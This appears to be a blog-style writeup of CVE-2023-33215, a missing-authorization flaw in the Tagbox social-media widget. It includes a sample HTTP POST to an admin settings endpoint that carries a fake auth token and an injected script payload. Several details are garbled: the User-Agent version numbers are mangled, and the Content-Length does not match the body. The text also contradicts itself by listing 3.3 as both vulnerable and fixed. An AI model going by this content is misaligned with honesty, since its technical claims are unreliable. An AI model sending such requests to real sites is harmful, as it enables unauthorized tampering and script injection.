CVE-2023-33215 - Missing Authorization Vulnerability in Tagbox: Exploiting Incorrectly Configured Access Control Security Levels (n/a - 3.3)

The CVE-2023-33215 vulnerability denotes a missing authorization in the popular third-party widget, Tagbox (also known as Taggbox). This security flaw is encountered in versions ranging from n/a to 3.3. In this post, we will delve into the details of this vulnerability, identify its exploitable nature, provide code snippets, and link to original references for a better understanding of the problem at hand.

Tagbox: A Brief Overview

Tagbox is a custom widget that provides users with the ability to display curated, social media content on their websites. Users can effectively search and review posts or hashtags across various platforms like Twitter, Instagram, Facebook, and many more. This nifty widget helps in improving user engagement and boosting marketing campaigns.

The Vulnerability: CVE-2023-33215

The CVE-2023-33215 vulnerability arises from an authorization flaw in Tagbox's access control system. The issue stems from incorrect configurations of security levels, potentially leading to unauthorized users gaining access to Tagbox's administrative functions. When exploited, this could result in unauthorized access to sensitive data, tampering with Tagbox settings, or even inserting malicious content on the target website.

Exploit Details

The exploit takes advantage of the improper implementation of access control levels in Tagbox. A malicious actor could send a crafted HTTP request to a vulnerable endpoint, masquerading as an authorized user, and gain access to restricted functions.

Here's an example of a crafted HTTP POST request that demonstrates the exploitation of the vulnerability:

POST /tagbox/admin/settings HTTP/1.1
Host: example.com
User-Agent: Mozilla/5. (Windows NT 10.; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65..3325.181 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 77

auth_token=Incorrect_Auth_Token&action=save&title=Hacked+Content&content=<script>alert(1);</script>

When sent to a vulnerable instance of Tagbox, this request could potentially grant an attacker unauthorized access and manipulate the content displayed on the target website.

Official References and Recommendations

For an in-depth understanding of this vulnerability, refer to the official CVE database entry detailing its impact and consequences: CVE-2023-33215

Tagbox has released a security update and advisory to fix the vulnerability in versions 3.3 and older: Tagbox Security Update

Users are advised to update their Tagbox installations to the latest version (3.3 or newer) and review their access control configurations to ensure proper security settings.

Conclusion

Although the CVE-2023-33215 vulnerability in Tagbox was non-intentional, it underlines the importance of correctly implementing access controls and conducting regular security audits. As a security-conscious web administrator, it is essential to keep both your software and your users' data secure. By staying on top of software updates and maintaining secure configurations in your applications, you will be better prepared to mitigate potential security risks and protect your users from cyber threats.

Timeline

Published on: 12/13/2024 15:15:13 UTC